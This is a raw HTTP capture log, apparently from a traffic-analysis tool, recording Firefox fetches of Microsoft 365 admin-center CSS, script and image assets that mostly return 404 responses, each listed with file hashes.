User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/xml
                                        
content-length: 215
x-ms-request-id: af9f5d24-601e-0038-7059-c56e01000000
date: Sat, 10 Sep 2022 21:11:32 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    615de53c91cdab3142ab4ebb906a926b
Sha1:   de257a7c1238b62e95678b409a8285441e3378cb
Sha256: f3f72f4414d50ce1c9e930d0f4cbd28cf0ec643df3bd89b1e84a5311c1e93306
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/css/conciergehelper.css HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/xml
                                        
content-length: 215
x-ms-request-id: af9f5d27-601e-0038-7259-c56e01000000
date: Sat, 10 Sep 2022 21:11:32 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    abd99a15141350cbf3ea296c8f619049
Sha1:   4aae1e0e5665d5fb823cf19c6eed0213a7afc03b
Sha256: 0d3d78da0b1662ad1bb29747347d63c1304d9355b4eb2455f78929435314ed30
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/css/home15.css HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/xml
                                        
content-length: 215
x-ms-request-id: 3f5e2b61-d01e-005f-5559-c57efd000000
date: Sat, 10 Sep 2022 21:11:32 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    6fd9ad5bdee48a5d3efc96739d06cc5b
Sha1:   d037226400e3f8168a28d11bbad8e647f4e95456
Sha256: 63fa967129e6c674e3809bc1a206613606ad757a0fc2c12afa331f8253511c71
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/searchbox.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/javascript
                                        
content-length: 215
x-ms-request-id: 0fdd8038-e01e-0019-7159-c54a7a000000
date: Sat, 10 Sep 2022 21:11:32 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    f6cc8bf63eefdf7af3e4baf820706550
Sha1:   2f42ecd27a2659887b1dcc0ea69b3984bd4b9cce
Sha256: fe11cf255791f32779d7ebc2decc8dff4c123bdfe956247bc64efd8232987c47
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/home.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/javascript
                                        
content-length: 215
x-ms-request-id: 092814f7-001e-0001-4559-c5951d000000
date: Sat, 10 Sep 2022 21:11:32 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    4e66ba934f4ec82fed8075c4f3595507
Sha1:   18b2835c93e709f6e196fc0b74aeaff03416d4b8
Sha256: f0b0309f6194a3d4f8565938f965de8fabe5a623c236990de1e48392c612710c
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/webtrendsstream.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/javascript
                                        
content-length: 215
x-ms-request-id: 1b1e2700-d01e-0012-3259-c5b111000000
date: Sat, 10 Sep 2022 21:11:32 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    53ae44dbbd78d877ce9ff4dae17afa20
Sha1:   519006894c68c3b0709db0bd72d7b3ea041a2f6e
Sha256: 9bd563e31ce45a2067732d968c01e680a1e4f8c73eb413fb66a0e9bdae1150ad
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/assistancepanel.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/javascript
                                        
content-length: 215
x-ms-request-id: 53c55da8-f01e-003a-2359-c5d0b9000000
date: Sat, 10 Sep 2022 21:11:32 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    9dba8b059fdd508606fc58235f1dc58b
Sha1:   2cd5ad70b0ada446b90b94d44ce05e905d5821f9
Sha256: 45b322e41ee40bf5d1ae80f4b01ecb539132d1d777fece848b874e339c826343
                                        
                                            GET /images/servicestatus.png HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/xml
                                        
content-length: 223
x-ms-request-id: 65e8a6a3-d01e-004f-4159-c5bb95000000
date: Sat, 10 Sep 2022 21:11:32 GMT
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   223
Md5:    f1317992d72b49dbb415d615e8f9a21d
Sha1:   83b89a80bf2a2ffd7d62916074c5eae8cd0f4633
Sha256: d2339990014d9c0f87613bcdc8b0d320a9aec7ee228a4e348a60fa4dc50f4308
                                        
                                            GET /images/spinner_24x24_metro.gif HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/xml
                                        
content-length: 223
x-ms-request-id: 973f00c0-901e-002c-5659-c5266e000000
date: Sat, 10 Sep 2022 21:11:32 GMT
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   223
Md5:    42fa31bc6ad0368d88777ce68cbb2b8d
Sha1:   8508b7b1da7f771032b72979bd1de040226a2ae5
Sha256: 334e59b95bb45ce43ca4141f96f22f5783a3e9f4f8d6ebca6bf77d59fbb9a523
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/reporting.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/javascript
                                        
content-length: 215
x-ms-request-id: 0c03d37f-901e-005e-3859-c52121000000
date: Sat, 10 Sep 2022 21:11:32 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    7aadf3e03de89f1d8d3b996ea40a73dc
Sha1:   36b176f2240b18791aaed726e1e3820921b48d63
Sha256: 617d1afbbb5eaa1413efee127879f8a69ba9efd3e44d538845de6c4cbd08a36d
                                        
                                            GET /shell/images/o365_gallatin_logo.png HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/xml
                                        
content-length: 223
x-ms-request-id: d4b7fbbc-801e-0020-7159-c5b166000000
date: Sat, 10 Sep 2022 21:11:32 GMT
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   223
Md5:    40ee6061a9801d87a37bb11d110faa54
Sha1:   9ef6f52b649855f659c18a6bebc9d2ef28b329b7
Sha256: 23323e520d1cd8fdd3926a888209ae83e73a0cf5bfa492e59562aaf4a8001c27
                                        
                                            GET /images/backgrounds/image1.jpg HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/xml
                                        
content-length: 223
x-ms-request-id: 8e113efb-101e-0032-2259-c5cab6000000
date: Sat, 10 Sep 2022 21:11:32 GMT
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   223
Md5:    047d4958f40835ab66bb3fe3afa7efc2
Sha1:   65bc4fed3f26fa51976b6de956229ef2faea5610
Sha256: d1051f64666b6972035bf8ec458809ff1743de6926fe52dbfdb0d398da5837dc
                                        
                                            GET /images/scrollbar/arrow_staticdown_16.png HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/xml
                                        
content-length: 223
x-ms-request-id: 1125274c-501e-000c-6759-c55dc9000000
date: Sat, 10 Sep 2022 21:11:32 GMT
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   223
Md5:    a0b8e92256b1ea9c1fd60897d230aa6f
Sha1:   995fd6bfa9f5729a3f66e046c41bdbb81f723312
Sha256: f3efe1ae6b57ed90f1de3a722fe7eea43d0b63a4207415e61d0c0c1da5cb9b64
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/css/website.css HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/xml
                                        
content-length: 215
x-ms-request-id: b2d7a66b-701e-0024-7059-c53c61000000
date: Sat, 10 Sep 2022 21:11:32 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    e01d6574e02beceb35b9d7482e181935
Sha1:   4146cec5605170d2622b53698d2f507381ca79a3
Sha256: c86a1e0b3ec96a56c9c0d64272fa7dc08a34dbc2a4b38b78275cfe35e8e2ef21
                                        
                                            GET /images/scrollbar/arrow_staticup_16.png HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/xml
                                        
content-length: 223
x-ms-request-id: 180a6616-401e-002f-0359-c5c70a000000
date: Sat, 10 Sep 2022 21:11:32 GMT
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   223
Md5:    fc2f19697e888b8bb500aeaef447ca1c
Sha1:   0ced0447f58e0e43f4632247cb4aefea16ab8ccb
Sha256: b0780c58ec746344cf52609b70911732cdff4eb6b8a1deb9cdbf122479c6b017
                                        
                                            GET / HTTP/1.1 
Host: push.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 13
Origin: wss://push.services.mozilla.com/
Sec-WebSocket-Protocol: push-notification
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: Ac2+7DI2S6QCYTbJizZLFQ==
Connection: keep-alive, Upgrade
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

search
                                         35.161.136.21
HTTP/1.1 101 Switching Protocols
                                        
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: YYOo0Iy/MTfGPFLj288OQV65HiM=

                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/netperf.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/javascript
                                        
content-length: 215
x-ms-request-id: 0fdd80e4-e01e-0019-0e59-c54a7a000000
date: Sat, 10 Sep 2022 21:11:32 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    41ab1fcd6f2cd2c2c1693376d9364c1e
Sha1:   27ed0b44a81fc3e053eb3815513d88b136e583b8
Sha256: 41caac67bcce6a414e0fcef7954487bcdd482335c0e9776f0917841b72bed7e2
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/webtrends.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/javascript
                                        
content-length: 215
x-ms-request-id: 76aa4d06-401e-004d-0259-c5052d000000
date: Sat, 10 Sep 2022 21:11:32 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    331332802e870bdd9712f18926cd184e
Sha1:   1050f14f43b2e5156eb41e563a011e0b5ec5d5e7
Sha256: aaea4b6d2027baf635070f4fee63b4e928358e2740f91224bbbf9cd918d35516
                                        
                                            GET /shell/images/signup_ms_logo.png HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/xml
                                        
content-length: 223
x-ms-request-id: 180a669e-401e-002f-7a59-c5c70a000000
date: Sat, 10 Sep 2022 21:11:32 GMT
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   223
Md5:    bac192bc6b6506bdb290fec75a78d91b
Sha1:   2c089b47f07d50aa44f9737d6c17b1023877284d
Sha256: 5583561290ee621731c6a9531579337444673ed94b92af40ce1cdd3985e869e3
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/netperf.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/javascript
                                        
content-length: 215
x-ms-request-id: 0fdd80e4-e01e-0019-0e59-c54a7a000000
date: Sat, 10 Sep 2022 21:11:32 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    41ab1fcd6f2cd2c2c1693376d9364c1e
Sha1:   27ed0b44a81fc3e053eb3815513d88b136e583b8
Sha256: 41caac67bcce6a414e0fcef7954487bcdd482335c0e9776f0917841b72bed7e2
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/searchbox.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/javascript
                                        
content-length: 215
x-ms-request-id: 0fdd8038-e01e-0019-7159-c54a7a000000
date: Sat, 10 Sep 2022 21:11:32 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    f6cc8bf63eefdf7af3e4baf820706550
Sha1:   2f42ecd27a2659887b1dcc0ea69b3984bd4b9cce
Sha256: fe11cf255791f32779d7ebc2decc8dff4c123bdfe956247bc64efd8232987c47
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/webtrends.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/javascript
                                        
content-length: 215
x-ms-request-id: 76aa4d06-401e-004d-0259-c5052d000000
date: Sat, 10 Sep 2022 21:11:33 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    331332802e870bdd9712f18926cd184e
Sha1:   1050f14f43b2e5156eb41e563a011e0b5ec5d5e7
Sha256: aaea4b6d2027baf635070f4fee63b4e928358e2740f91224bbbf9cd918d35516
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/webtrendsstream.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/javascript
                                        
content-length: 215
x-ms-request-id: 1b1e2700-d01e-0012-3259-c5b111000000
date: Sat, 10 Sep 2022 21:11:33 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    53ae44dbbd78d877ce9ff4dae17afa20
Sha1:   519006894c68c3b0709db0bd72d7b3ea041a2f6e
Sha256: 9bd563e31ce45a2067732d968c01e680a1e4f8c73eb413fb66a0e9bdae1150ad
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/home.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/javascript
                                        
content-length: 215
x-ms-request-id: 092814f7-001e-0001-4559-c5951d000000
date: Sat, 10 Sep 2022 21:11:33 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    4e66ba934f4ec82fed8075c4f3595507
Sha1:   18b2835c93e709f6e196fc0b74aeaff03416d4b8
Sha256: f0b0309f6194a3d4f8565938f965de8fabe5a623c236990de1e48392c612710c
                                        
